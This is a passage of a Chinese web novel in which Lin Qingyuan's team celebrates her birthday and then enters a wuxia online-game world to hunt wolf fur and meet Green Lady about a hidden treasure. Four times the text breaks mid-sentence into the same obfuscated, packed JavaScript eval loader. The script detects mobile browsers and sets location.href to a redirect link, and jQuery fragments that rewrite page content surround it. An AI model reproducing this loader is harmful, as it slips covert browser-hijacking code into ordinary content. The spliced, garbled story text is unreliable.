而在这只帅□□狗的背上,正笔直站着一个少女——她脊背挺直,面带微笑,脚下狗狗的快速奔跑也动摇不了她的悠闲模样。仔细看去,少女的脚在随着狗狗奔跑动作牵扯到的肌肉而小幅度地变换使力,一行一踏,恍如是轻盈的舞蹈,也恍如是轻巧的飞鹤。 比利带着林清原越跑越偏,甚至中途还穿过了一小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15382090|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片树林。 林清原怀疑比利有绕路的嫌疑。 砰! 在远处,有一束烟花炸上了天空,给夜空添上了一抹鲜艳的色彩。 比利不再绕路,驮着林清原直直地朝烟花所在地奔去。 远远的,林清原看到在沙滩上,有一大片已经布置好的场地。 细碎的灯串缠绕在盛开的鲜花上,像是将夜空的星星摘落,散在了花丛里,随着海风轻轻摇曳,洒下一地温暖的光影;在鲜花的点缀下,沙滩上铺了一块大大的柔软毯子,毯子上面堆了很多礼物,还摆放着精致的甜点和几个漂亮的玻璃杯,在旁边还有一个大大的水桶,正冰镇着好喝的果酒;在海浪扑打不到的地方,摆了一排烟花发射筒和一些零散的小烟花棒,新记明正在检查烟花发射程序,成柳则在验收着场地的布置,而白仙贝—— 她看到了跑来的比利和林清原,开心地挥手: “在这里!” 跑近了,白仙贝才看到林清原是站在比利背上的——她欢快挥动着的手顿住了。 林清原从比利背上跳下,吹了个口哨: “布置的不错嘛。” 白仙贝拉着林清原和比利在毯子上坐下,其他两人在设定好烟花发射后,也坐下了。 大家围坐在一起,接连不断在天空中绽放的烟花,成了此时聚餐的最好的点缀。 “哎,这个好吃,小鹤你尝尝。” “汪汪汪汪汪!” “……小新你输了!喝酒!” “……嗝。” “哈哈哈,爽!” 大型烟花秀结束,又各自分了简易的烟花棒,金色的光绕在手边,大家有说不完的话,逗不完的乐,幸福的时刻在此时无限延长。 闹铃音乐响起,时间来到了零点。 “生日快乐!” “汪汪汪汪!” 几人异口同声地向林清原报以祝福,拿来了早就准备好的礼物,一个个地献上。 在林清原拆礼物的时候,新记明站起身,从场地旁边的鲜花堆中推出来了一个小餐车。 餐盖被掀开,在里面的是一个造型精美的生日蛋糕。 白仙贝给林清原带上生日帽,成柳点燃了生日蛋糕上的蜡烛。 “祝你生日快乐……” “汪汪汪~汪汪汪~” 白仙贝率先起了头,随后大家就不约而同地一齐唱起了生日歌,动听的歌声在夜风中飘荡,表达着彼此对寿星的最美好的祝念。 林清原握住手,闭上眼睛,在心中许下了最真挚的生日愿望: 希望万事屋的大家都能健康长寿!希望地球能早日恢复安全! 她睁开眼睛,鼓足一口气,将蜡烛全吹灭了。 掌声与欢呼声错落响起,烟花燃尽后的硝烟味还弥漫在空气中,与海风带来的咸湿气息交织在一起,为香甜的蛋糕又增添了一丝独特的风味。 成柳给林清原切下了一大块蛋糕,问:“老大,你许了什么愿?” 白仙贝轻拍了他一下:“愿望说出来就不灵啦!” 林清原笑了一下,拿胳膊肘顶了顶新记明:“我许愿让你正式加入万事屋哎,你要让我的这个愿望实现不了吗?” 新记明看着林清原明亮的眼睛,只觉得脑袋都无法思考了,他只想跟着林清原的话说下去,让她开心,让她快乐。 什么复仇,什么“翻身当老大”,都不重要了。 他想永远陪在林清原身边,成为她身边最锋利的、也是唯一的那把剑。 “我愿意。” 这句温柔的话语说出,整个世界仿佛都安静了下来。 新记明听见自己的心跳声震耳欲聋,一下下撞击着胸腔。 然后他就看到林清原扬起了温柔的笑容——他也不自觉勾起了嘴角。 “好耶!那我们可以顺便举行欢迎仪式了!” 白仙贝高兴的声音闯进了暧昧的氛围中,把新记明的神智拉了回来。 “嗯?怎么做?”林清原问。 “上到UFO!” 成柳扬起左胳膊。 “下到小猫咪!” 白仙贝扬起右胳膊。 林清原心领神会,高举双手,接上下一句: “万事屋全接应!” 比利欢快地摇动尾巴:“汪汪!” “欢迎小新哥加入万事屋!” “欢迎新哥!” 林清原拍了拍新记明的肩膀:“欢迎啊,你正式加入了,就能领工资咯。” 新记明无奈一笑:“好的,老大。” 可喜可贺,林清原的万事屋迎来了新的成员咯。 57. 怎么进游戏了? 林清原是真没想到,她还真又一次在半夜进了“故事”。 自从上一次UFO遭到破坏,UFO的状况就变得不稳定了许多。原本在出现后,如果影响范围内有“译者”,那么选人进“故事”的时间有一个小时。 现在不一样了,不仅选人进“故事”的时间是在20小时内随机,选取的人数也不再限制在“24”以内了。 这次进故事匆忙,官方刚一监测到,还没来得及派发人手,就已经选人完毕。 林清原看到新记明的时候,后者嘴里还正塞着小饼干。 新记明:“?” 林清原笑着问:“小饼干好吃吗?” 新记明不好意思地把嘴里的小饼干咽下,红着脸答:“好吃。谢谢你专门去隔壁市的饼干坊给我们每个人都准备了回礼。” 林清原又问:“那小新还生气我去找‘网恋对象’吗?” “对不起,是我误会你了。” 或许是吃下的小饼干给了勇气,新记明接下来的话说得理直气壮: “主要我是担心你,网恋不靠谱的。如果你要谈恋爱,一定要找知根知底的、品行好的、对你好的。” 林清原意味深长地重复:“哦,知根知底啊……” 新记明没听懂,他踌躇了一会儿,状似无意地问:“如果你要找男朋友的话,有什么比较心仪的人选吗?” 林清原拖长了音“哦”了一声:“哦~那种比较霸气的?” 新记明轻皱起眉:“说是霸气,但这种人很容易有暴力倾向,不合适。” 林清原在心里悄悄为自己的霸总老爹林征举了面小旗子。 她歪歪头:“可是我打架很强啊,能打过我的人少之又少。” 新记明想了想林清原的武力值,嘴硬道:“那也不行……能不费劲打架多好啊,要找温柔的,善良的,对小动物也好的……” 林清原故意逗他:“那这种人要是很软弱、不能抗事怎么办?” 新记明正色道:“那这种当然不能要。要找又温柔、又能做好正事的、又能听话的。小鹤你性格爽朗,找这样的省心。” 林清原摸摸下巴:“是哎,找个听老婆话的确实很不错呢。” 新记明的脸腾一下红了。他此刻内心正在疯狂尖叫: [听听听听老婆话!老婆!老婆!听老婆话可太好了!小鹤要是成为我的老婆的话……] 看新记明幻想得人都要傻了,林清原微微勾起嘴角,话锋一转: “你说的对,我确实喜欢温柔的、能做好正事的、又能听我话的男朋友。我可不喜欢傲娇的、爱吃醋的、喜欢胡思乱想、还喜欢搞监视的男朋友呢。” 新记明如同被当头一棒。他觉得林清原在点自己,但是又不敢相信。 他是喜欢林清原,可不代表林清原也喜欢他啊! 而且“搞监视”这种事,林清原怎么会知道呢? 新记明在一瞬间深刻反思了自己好多遍。 [虽然我在和小鹤相认之后就没再刻意打探她的消息了,但是这也不代表之前的“监视”行为就一笔勾销了。果然还是找个时间认个错吧。至于什么傲娇、爱吃醋,那才不是我呢!想追小鹤,就要付出更多努力才行……干脆回头问问父亲,他当初是怎么追母亲的吧。] 林清原朝新记明招招手:“走,去找信使。” 新记明:“信使?” 林清原一甩衣袖:“还没认出来咱们的身份吗?” 新记明仔细打量了两人的武侠风衣服,问:“咱们是什么行走江湖的大侠吗?” 林清原呵呵一笑:“大侠?虾米吧。” 她抬手指向不远处,那里是个村落,村门口有个很大的石门,门匾上刻了三个字。 “瞧,杏花村。” 二人来到了村中,略一寻找,就找到了头上标着个大大的感叹号的村长。 这下新记明也反应过来了:“怎么进游戏了?” 林清原熟练地和村长交谈了两句,就接下了任务。 是个简单的送信任务。 她看着还呆呆跟在身边的新记明,问:“你不接任务吗?” “啊?”新记明愣了一下,有样学样,和村长说了几句话,也成功接到了这个送信任务。 然后林清原就打开了任务指引,跟着光标提示,找到了在笔砚店里坐着的书生。 书生收下信后,任务就完成了。 林清原和新记明都得到了任务奖励:一件破旧的上衣装备。 新记明看着林清原在虚空中点了几下,身上的上衣就换成了刚拿到的装备,忍不住问:“你怎么换上的?” 林清原无奈:“你是真把我给你的推荐忘光啦。你之前不是问我,有什么游戏推荐吗?” 新记明愣愣点头:“我说有武侠风的最好。” “对啊。然后就给你推荐这个‘武林争霸’嘛,武侠风网游。虽然我只在很久以前玩过一阵子就不玩了,但是这游戏品质不错,操作方式也是最大众的游戏按键模式,你作为游戏新手,把这游戏当做入手作还可以。” 林清原又伸手指了指门匾:“杏花村,别名‘新手村’。每个进游戏的人第一眼看到的都是这个。任务找村长接,大侠之路也由此开始。” 新记明记起来了:“你推荐的当天我就下载了,也玩了。不过那游戏是平面的,这突然变成真实版第一人称,有些没转换过来。我记得游戏里贯穿始终的暗线是‘找到巨侠留存下来的宝藏’吧?” “对。不过这游戏是网游,估计一直到关服都没法找到宝藏吧。” 新记明问:“那如果这次‘故事’的‘核心’就是宝藏呢?” 两人陷入了沉默。 林清原清清嗓子:“咳,往好点儿的地方想嘛。反正现在刚进来,慢慢收集线索就是了。” 她教新记明如何打开背包:“你在心里默念‘背包’就好了,面前就会出现透明屏幕,可以直接点。” 有了教学,新记明很快就把操作摸熟练了。 林清原在村里转了一圈,确认这里和现实中的网游基本一样,任务多到做不完,也可以同时接很多个任务。 不过有一点最重要的区别:这里没有“主线任务”。 正常来说,一个游戏有许多种任务:主线任务、支线任务、突发任务等等。 主线任务就是用来指引玩家前进路线的,引领玩家去到新的地图、领略最重要的故事。 而不同的任务,任务图标的颜色也不同。 在这次的“故事”里,任务图标的颜色却只有统一的蓝色。 林清原接了许多任务,也没发现和“主线任务”相符合的任务介绍。 她思考了一会儿,不再管任务,去了信使旁边,打算寄信。 信使笑眯眯的:“我这儿用的,可都是上品的好鸽子。” 林清原说了比利、白仙贝和成柳的名字。 除了比利,剩下俩,信使都能联系上。 然而要寄信了,林清原却被卡住了。 “你没有足够的笔墨与信纸,无法寄信!” 林清原又被迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410687|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到了笔砚店,找书生买写信的材料。 好在先前做的几个小任务的奖励给了铜钱,买这些材料是绰绰有余。 林清原迅速写好信,交给了信使。 信使将信放到了鸽子腿上系着的竹筒里,拍一拍,鸽子就飞向了远方。 寄完信,林清原去找新记明。 此时他身上的装备已经换了一遍了,看上去有点“初入江湖”的意思了。 “有什么发现吗?” 新记明摇摇头。 “没有。就是些非常普通的任务。这次进来的人中也有玩过‘武林争霸’的,他们也认出来了。但是打听过消息,他们也没什么头绪。” 杏花村作为新手村,是所有新进游戏的人都要来到的地方。因此在新手村里,除了“译者”,也有不少普通人。这些普通人在经历最初的慌乱后,就有好心的“译者”给他们大致科普了一下现在的情况,所以他们也很快适应好心情,加入到任务大军中了。 不过林清原从头到尾都没见到过比利和其他两人的身影。 出村并没有限制,不论有没有接到村外的任务,都可以出去。 难道他们是已经离开杏花村了吗? 过了不久,林清原收到了一个弹窗: 【大侠您好,您已收到来自白仙贝、成柳的来信。请前往信使处领取信件!】 看过回信,林清原才搞明白,原来这次的“故事”也延续了“网游”的设定,虽然杏花村是统一的“新手村”,但是不同服务器的“新手村”是独立的,只有到了村外的主城,才能“跨服同玩”。 而他们这几个人,只有新记明和林清原被分在了同一个新手村,白仙贝和成柳分别是另两个新手村。 林清原很快写好了信寄了出去。 【在原城集合。】 新手村再待下去没有意义,新手村的任务都是换汤不换药的重复性任务,浪费太多时间在这可不行。 唯一让林清原放心不下的就是比利了。 不过她也没有太过担心,毕竟比利又聪明又有实力,就算一开始没搞懂任务是怎么做的,应该也知道要去人多的主城找她们。 林清原和新记明正打算离开,就听到了笔砚店那边传来了哀嚎声。 “为什么不行啊?这可是狼王的毛啊!狼王的毛为什么不能交普通狼的毛?不是兑换比例是一比十吗?” 女孩儿边说边指着笔砚店门口的立牌:“上面明明写着可以换……哎?” 书生安抚着女孩儿:“徐大侠,您大概是看错了。我门口的立牌写的可是‘拿狼王的毛可以换十个普通兔毛’。” 林清原定睛一看,那不是徐然吗? 徐然崩溃地转身,正好看到了林清原。 她惊讶一瞬后,就兴奋地跑了过来: “你好你好!你也进‘故事’里啦!也是,你也是‘译者’,被吸进来也正常!” 林清原问她发生了什么事,徐然一脸懊恼: “我明明记得先前立牌上写的是‘拿狼王的毛可以换十个普通狼毛’啊!怎么会是兔毛呢?这合理吗?” 她给林清原解释:“我接了个小隐藏,要交付十个普通狼毛,奖励是一套狼毛装备。可是十个狼毛啊!找十只狼,怕不是我要先被吃掉了!总之我先去了趟野外,运气好找到了狼王,它也没攻击我,直接走了。然后我就在它原先停留的地方找到了它的毛。结果竟然不能兑换!” 徐然摊开手,手心中的狼王毛是黑白色的,又柔顺又张扬。 林清原犹疑:“嗯?” 58. 获取狼毛 “嗷呜——” 野外。林清原几人远远地听到了狼嚎。 徐然咽了口唾沫,拉了拉林清原的衣袖:“听起来有好多狼,真的还要去找狼王吗?大不了那十份狼毛的任务我不做了。” 林清原安慰她:“没事,区区几只狼,我又不是没打过。” 徐然震惊地问:“你打过狼?!” “以前家里受了林业局的托,去探查一批流窜在山里的狼。我老爹为了锻炼我,就让当时才十二岁的我单独带了一队去抓狼。那时候狼就打不过我了,更何况现在?” 徐然大惊失色:“不是,谁家锻炼小孩是让小孩跟狼打架的啊?!你到底是谁啊?!” 林清原伸出一只手:“你好,万事屋创始人,林清原。” 徐然恍惚地握上了这只手。 她愣了一会儿,突然问:“那现在相当于万事屋还是接下了我的委托?” 林清原沉吟了一下,还未回话,就见徐然兴奋地跳了起来:“太爽了!柳暗花明又一村啊!” 徐然双手合十,眼神诚恳:“林清原老大,您就当接了我这个委托吧!我发的是协作委托,不是保护委托,只要让我跟着你们行动就行了!我保证不会拖你们后腿的!等出去了,我会付双倍报酬的!孩子太想跟着大名鼎鼎的万事屋学习了!” 林清原笑了一下:“行啊。那要我教你怎么抓狼吗?” 徐然正色摆手:“不用了,我再怎么训练也没法跟狼打架啊,我还是在后方支援吧。我的能力是‘修改数据’。本身干的就是程序员的活儿,平时也喜欢打游戏,所以能力就是能将‘故事’中的任一角色都视为‘游戏角色’,修改他们的数据。” 她现在是对林清原报以了百分百的信任,除了她的能力,她把她能力的限制也说了:“不过修改数据不能过火,不能完全破坏‘故事’的平衡性,导致‘故事烂尾’。而且每天只能用一次,刷新时间还是按每自然日的零点算的。” 徐然握起拳头:“您放心!如果狼王真的很难缠,我可以把它的数据修改成小蚂蚁!” 林清原很惊讶,竟然还有这样的能力吗? 这种能力想想就超级好用。她都有点想把徐然收到万事屋里了。 说话间,三人已经走到了山林之间。 林风簌簌,伴着深处传来的一声又一声狼嚎,平添了几分阴冷。 林清原回头问徐然:“只要十份狼毛就行了是吗?” 徐然点头。 于是林清原就仰头长啸了一声狼嚎,循着接连不断响起的声音追去了。 一眨眼,她就消失在了眼前。 新记明留在原地保护着徐然的安全。 他细细端详着手中的剑,剑身强韧,剑锋锐利,算是把能用的剑。 还好这次的“故事”是游戏背景,他完成新手任务之后,就换到了一把新手剑。 徐然悄悄打量着身边的男人。 脸很帅,身上的气质也不一般,看上去很强。应该也是万事屋的人。 不过她不太敢搭话。 这男的一路上都冷冰冰的,只有看向林清原的时候才温柔一些——好磕! 好磕,但是现在林清原走了,只剩她俩,就只有尴尬了。 徐然闭眼。她果然还是只想当个安心磕糖的路人。 就在这时,新记明说:“如果你当这是委托的话,出去之后记得去官贴里打五星好评。” “啊?” 徐然睁开眼,懵了一下。随后就连连保证:“放心吧!只要能顺利出去,绝对五星好评加千字长评!” 新记明满意地颔首。 有了新记明主动打破沉默,徐然就觉得没有那么尴尬了。 她终究没忍住好奇心,问道:“万事屋真的是百分百好评吗?啊,不是怀疑的意思,我只是单纯好奇,毕竟我能开出的报酬从来不是万事屋能看上的,我根本没机会见到你们。更何况这次你们进‘故事’,大概率也是受了我的影响,我其实有点愧疚……” 新记明耐心地解释:“如假包换的百分百好评,毕竟网站帖子不是我们在管,如果真的搞砸了什么委托,总能见到排雷贴吧。” 徐然恍然大悟:“对啊。我见过不少排雷贴,但是你们万事屋接委托都是公开的,摆出来的证据也完全充分,到最后那些排雷贴都成了打假贴哈哈哈。” 她竖起大拇指:“太强了!” 听到徐然夸万事屋,新记明的嘴角也勾了起来。然后他看向徐然的身后,喊了声: “比利。” 徐然转过身,看清跟在林清原身边的动物,吓得摆出了防御姿势: “狼王!” 比利歪歪头。 林清原眉开眼笑地摸着比利的脑袋。 比利这次进“故事”后身体发生了极大的变化,不仅整张脸向狼的模样趋近了,连身形都变大了三倍。 林清原一个跨步坐上了比利的背。这回她的腿不会再蜷着了,甚至全伸直了还挨不到地。 徐然又竖了一个大拇指:“这就是万事屋老大的实力吗?驯服狼王易如反掌啊!” 比利:“汪嗷嗷,汪嗷。” 林清原:“你们见过的。你忘了?” 徐然歪头:“?” 她盯着比利看了许久,才想到一个可能。 “这不会是你当时出来遛弯时候带的那只边牧吧?!” 徐然不敢相信:“啊?狗也能进‘故事’的?啊?这对吗?而且这哪还有边牧的样子,完全是狼啊!顶多是边牧同款黑白配色的狼啊!” 新记明猜测:“大概是‘故事’的影响。” 林清原也觉得像:“以前有一次,贝贝也根据‘故事背景’变了自己的形象。她本来是长发,在‘故事’里却是短发,皮肤也比现实中更白。” 比利对自己的新形象很满意。它本来能力就是巨力,现在变大了几倍,更觉得自己浑身充满了力量。 直到坐上比利,徐然还觉得很梦幻。 没想到现实世界中的那只可爱边牧,也能进“故事”,而且还变成了这么大一只的“狼”。 最让她吃惊的是,这只名叫“比利”的边牧竟然也是万事屋的正式成员,是个经验丰富的“译者”。 徐然揉了揉眼睛:“呜呜,妈妈,这个世界已经变成我看不懂的样子了。” 三人骑着比利,雄赳赳气昂昂地回到了村里。路过的人都退避三舍,就算是其他“译者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433620|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”也顶多讨论几句。 比利在笔砚店前停下。 徐然跳下狗背,把十份狼毛交给了书生。 书生确认好材料,就将狼毛装备交给了徐然。 徐然当即换上,整个人看起来强壮了许多。 书生收下狼毛,心情很好。他笑着发布了下一个任务: “如果你们能交给我十份狼王毛,那我就可以做出‘狼王毫笔’了!为了表示感谢,我可以拜托村里的装备商,给你们做出一套‘狼王装备’。” 抛去那些不重要的话,这个任务的要求还是很明了的:交付十份狼王毛,获得一套“狼王装备”。 徐然很心动,不过她看了看比利,又放弃了拿新装备的想法。 林清原感觉有哪里不太对劲。 她问书生:“我给你狼王毛,你能给我什么?” 书生的笑容不变:“如果你们能交给我十份狼王毛,那我就可以做出‘狼王毫笔’了!为了表示感谢,我可以拜托村里的装备商,给你们做出一套‘狼王装备’。” 说了同样的话,没有问题。 这次的“故事”比较特殊,林清原她们遇到的“游戏角色”并不像真人那样对答自如,不论接不接任务,这些角色的对话都是固定的,针对不同场景,任务对话有所不同。 林清原没有选择交付狼王毛。她换了个问题: “那你这里还收普通狼毛吗?” 书生:“一份普通狼毛一两银子收。” 新记明问:“不送狼毛装备了吗?” 书生:“一份普通狼毛一两银子收。” 徐然说:“可能因为我那个是个小隐藏任务……” 林清原来到书生面前,大手一挥,数不清的普通狼毛从半空中掉落,足足淹没了小半个店。 徐然目瞪口呆:“哪来这么多狼毛?!” 书生艰难地从狼毛堆里爬了出来,他扶正头上的帽子,呆坐了一会儿,开始清点狼毛。 徐然差点以为书生脱离了游戏,有了自己的意识。 刚才那一瞬间,她似乎看到书生的脸上露出了一抹极其复杂的神色。但现在看他任劳任怨清点狼毛的样子,又让她觉得是她把她自己的感情代入过去了。 新记明的心情也很复杂。 他问林清原:“你是把狼群灭绝了吗?” 林清原惊讶:“哪有。只是天气渐热,我给狼们换了身清凉点的衣服罢了。” 比利咧开嘴笑了,丝毫没有身为“狼王”的责任心,只有对瑟瑟发抖的无毛狼群的幸灾乐祸。 收好报酬的林清原问书生打听了一些消息:“你听说过巨侠的遗留宝藏吗?” 书生还真知道:“巨侠的名头无人不知啊,可惜没有多少人知道他的真实身份,只知道他姓秦,除了武功高强以外,也是江湖首富。只是在十年前的一次江湖围剿中,巨侠陨落,他在临死前将全部身家留在了一个地方,等待着后人的发掘。” 和现实中的“武林争霸”的暗线差不多。 在动身前往主城前,书生喊住了林清原: “如果你要去原城的话,就将这封信送到花塘馆吧。去那里找到‘绿夫人’,她会给你一些你想知道的消息。” 59. 花塘坊 想要前往主城,需要到村口找到马夫,付钱让他载人去。 如果要去更远的地方,则需要转更复杂的交通工具。 林清原点开地图,上面开放的主城地点只有两处,丰城和原城。其中原城是离杏花村最近的,所以她也把汇合地点定在了这里。 坐在马车上,徐然兴奋地这摸摸、那摸摸,好奇得静不下来。 “虽然早就知道‘故事’里的东西都像真的一样,但是一想到这是‘游戏’,就感觉更神奇了耶。” 新记明在考虑另一件事。 “从地图上看,现在只是刚出杏花村,离原城还有不短的距离,而马车的速度并不快。我们或许没有那么多时间花在赶路上。” 林清原掀开车帘看了一眼,说:“没事,不用赶路了。” 其余两人也掀开了帘子,正好看到了马车穿过“彩色隧道”的一幕。 几人眼前一花,眼前就出现了繁华的原城大街。 “爷,到了。” 车夫的声音在前面响起。 等人下了车,车夫就赶着马去了一边,等着接下批客了。 正午方过,长街刚醒过午阳的毒辣,呈现出了纷繁的闹景。 人影如织,两边小摊的叫卖声此起彼伏,引了不少公子小姐驻足;有小商在旁卸下料箱,香气混着食物的甜味传来;挑夫扛着货担穿行,汗湿的短褐紧贴脊背,在人群中挤出一条蜿蜒的路,又迅速被更多人填上。 街角有人在杂耍,聚了好些人讨笑打赏,伴着周边说书人的说评,衬得闹街气氛叫好。更远处驻了些大房酒楼,酒旗斜挑,二楼雅房推了窗户,有笑闹声从中溢出,融入到了市井中。 徐然热泪盈眶:“这就是我想象中的古代啊!” 林清原也抑制不住笑容:“嘿嘿,我要尝尝古代的冰淇淋!会是什么味道呢?” 比利“汪”了两声,林清原举手保证:“好嘛,我绝对不吃超过10个!” 比利:“?” 回答林清原的是一阵狂风暴雨般的狗叫。 林清原捏住比利的嘴筒,咬牙道:“臭狗,这里可是游戏啊,别说吃10个了,吃20个我也不会拉肚子!说不定还有什么增益效果呢?” 她往旁边一瞥,发现新记明不见了。再一看,他已经凑到了前面的小摊子那买东西去了。 新记明拿上糖葫芦,给每个人都分了一根,比利也有份。 林清原看了看介绍:“嗯……‘走街串巷的老式糖葫芦,香甜美味,大人小孩都爱吃。持续时间10分钟。’?吃了有什么效果?” 新记明眼含期待地说:“你尝尝。” 林清原咬了一颗,酸酸甜甜,确实好吃。吃下后,在个人界面,也确实出现了一个效果倒计时标记。 她点开来看,什么也没写。 林清原:“?” 徐然惊喜地指着林清原的头,说:“哇!你头上插了两根糖葫芦装饰哎!”随后她想到了什么,也摸了摸自己的头发,果然也摸到了。 “哈哈!好玩!原来这个持续效果就是在头上多了两个糖葫芦发饰啊!” 林清原低头看了看比利,它脑袋的威风凛凛的长毛上,此时也平等的多出了两个糖葫芦发饰,斜楞楞地插着,看着傻得很。 她毫不客气地大笑出声,只恨自己带不进来手机,没法拍下比利现在的样子。 比利气得直咬新记明,逼得后者也吃下糖葫芦、头上多了两根糖葫芦,才停下了泄愤。 女孩子的发型花样多,初始界面更改的选项也多,两个女孩儿头顶糖葫芦装饰,只显得俏皮可爱,遇到的摊主,都忍不住打了一些折扣;新记明和比利,这两个顶着直飞冲天的糖葫芦,看着就好笑多了。不过好在一个脸还能撑,一个是听话的“狼”,旁人倒也没有给出太过夸张的反应。 林清原想起村里书生交给自己的那封信,说是要到“花塘馆”找“绿夫人”,既然要走一趟,不如就在那里汇合。 于是她又给白仙贝和成柳飞了封信,定下了见面的地方。 等到了“花塘馆”,林清原就有些后悔了。 她本来以为“花塘馆”会是个卖书画一类的店。没想到这是个烟花坊[1]啊! 一愣神的功夫,馆里的柳娘们[2]就拥了上来,围着几人嘘寒问暖,把人往馆里拉。 徐然面红耳赤地说:“我……我是女的啊。” 柳娘们笑得花枝乱颤,你一句我一句的: “没关系呀客官,我们难道不好吗?” “对呀对呀,我们女子在一块儿岂不是更自在?” “你要是真的只喜欢男子,我们这儿还有些清秀的小倌,来看看嘛~” 连比利也有人招待:“哎呀好帅的一头狼啊,这是客官您的跟宠吗?我们这儿虽然没有别的狼,但是有很多吃的呀,去瞧瞧呢?” 新记明敛下眼不看凑过来的柳娘,正打算喊上林清原换个地方,就看到后者已经被哄得乐呵呵地进去了。 花塘馆一楼是个巨大的堂厅,雕梁绣柱,楠檀生辉。正中有个圆形的台子,上面有舞姬乐妓正在表演,周围摆了一圈圈桌子,供客人们吃食;二楼三楼都是包间,不过三楼的包间都是紧闭;二楼的房间还空些,能看到里面的华美装潢,也有二楼的客人敞开厢门,观赏着外部。 如果不是柳娘们穿的有些暴露,谁能看出这里其实是烟花坊呢? 林清原找地方坐下,享受了一会儿周到的服务,就又多给了些赏钱,哄得柳娘们喜笑颜开,小吃上了一碟又一碟。 新记明看着姿态从容的林清原,心里有些不是滋味。 旁边一个柳娘察觉到了新记明的情绪,眼睛在他和林清原身上巡视了几眼,就看懂了。 她用帕子掩下嘴角的笑意,凑到新记明耳边说了几句。 新记明没有迟疑很久,就走上了圆台。 圆台上,舞姬们刚刚表演完毕,乍一见到台下一个俊俏公子上来,还以为是来打赏或者求女的,正要拦,就被银子收买了。 新记明小声讲了几句,新的表演就开始了。 这回,新记明是主角。 只见他手一甩,剑就落到了手中。随即身形游舞,剑随身走,倏忽间步伐转疾,衣袂翻飞。剑意似雪,却刻意缓了攻势,展在众人面前的只余柔情,如落在肩头的那一抹微弱的湿意。 随着丝竹的阵声变换,新记明的剑舞也愈发快意飒爽,直到最后一声铮响,他将手中的剑向上抛起,整个人腾空跃起,足尖抬剑,再反手收回, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453431|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就稳稳落了地。 台下的柳娘们适时散了一些花瓣,花瓣纷飞中,新记明收剑归鞘,掀睫抬眼,在爆起的欢呼声中直直地望向坐在桌旁的林清原。 林清原勾起嘴角,也直直地回望。 喧闹声中,只有彼此的眼睛是最亮的星星,目光萦绕,仿若对方就是这世间的唯一。 先前向新记明献计的柳娘来到林清原旁边,笑道:“客官可还满意?” 林清原大方地给了一颗整银。 柳娘捂嘴一笑:“客官真大方。” 她看着方下了台,往这边走来的新记明,道:“客官与我同为女子,妾在此斗胆多说几句。 “世间男子多为负心人,但是若能寻得一人同行江湖,可要适时抓住。不至于为其所牵魂,动情却是另一番风味啊。” 林清原脸上的笑容更柔和了些:“说的极是。人生一回,得之所爱,实乃幸事。” 见林清原听懂了,柳娘便欣慰地举起了帕子,拂在脸边。 徐然大力鼓掌,夸奖的话不要钱似的往外蹦,把比利烦得直接伸爪子盖住了她的嘴。 林清原环视了一圈,觉得有点奇怪。 怎么白仙贝和成柳还没来? 她打开个人界面,才看到了漏掉的提示。 白仙贝和成柳各寄了一封信,要去信使那边领。 林清原的眉头皱了起来。 人没来,反而寄了封信,难道是遇到了麻烦? 林清原思考了一秒,便打算去取信。 在离开前,她顺口问了柳娘:“你知道‘绿夫人’在哪儿吗?” 柳娘巧笑:“客官找妾有何事?” 林清原惊讶了一下。 她没想到眼前的这位柳娘就是“绿夫人”。 她把书生的信拿出来递交过去。 “这是杏花村的书生要我带给你的。” 绿夫人难掩诧异,却还是接过了。拆开只看了一眼,便震惊地抬头,拽住林清原的胳膊,问: “寄信的那个书生,姓甚名谁?长什么模样?” 林清原简单描述了几句,绿夫人就略显失望地收回了手,喃喃: “对啊,那家伙怎么可能会做书生呢?他要是还活着……” 绿夫人对着信又仔仔细细读了几遍,面容严肃地抬起头,问林清原:“不知客官今晚戊时,可否到青台一会?” 她举着手帕掩嘴,贴近林清原耳边,道:“客官若是想知巨侠一事,妾这里倒是可以说上几句……” 事关巨侠,林清原没有犹豫就答应了。 约好后,林清原就赶去了信使那取出了信,读过之后才略微放心。 白仙贝和成柳确实遇到了麻烦,不过不是大麻烦。 